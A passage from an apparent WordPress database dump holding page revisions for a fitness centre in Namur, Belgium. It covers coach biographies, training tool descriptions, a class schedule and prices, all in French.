5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:59:08', '2013-07-03 19:59:08', '', 20, 'http://www.crosstrainingcenter.be/?p=269', 0, 'revision', '', 0),
(270, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 22, 'http://www.crosstrainingcenter.be/?p=270', 0, 'revision', '', 0),
(271, 1, '2013-07-03 20:01:27', '2013-07-03 20:01:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 20:01:27', '2013-07-03 20:01:27', '', 11, 'http://www.crosstrainingcenter.be/?p=271', 0, 'revision', '', 0),
(272, 1, '2013-07-03 19:06:31', '2013-07-03 19:06:31', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-03 19:06:31', '2013-07-03 19:06:31', '', 5, 'http://www.crosstrainingcenter.be/?p=272', 0, 'revision', '', 0),
(273, 1, '2013-07-03 19:11:58', '2013-07-03 19:11:58', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-8', '', '', '2013-07-03 19:11:58', '2013-07-03 19:11:58', '', 214, 'http://www.crosstrainingcenter.be/?p=273', 0, 'revision', '', 0),
(274, 1, '2013-07-03 20:43:50', '2013-07-03 20:43:50', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:43:50', '2013-07-03 20:43:50', '', 266, 'http://www.crosstrainingcenter.be/?p=274', 0, 'revision', '', 0),
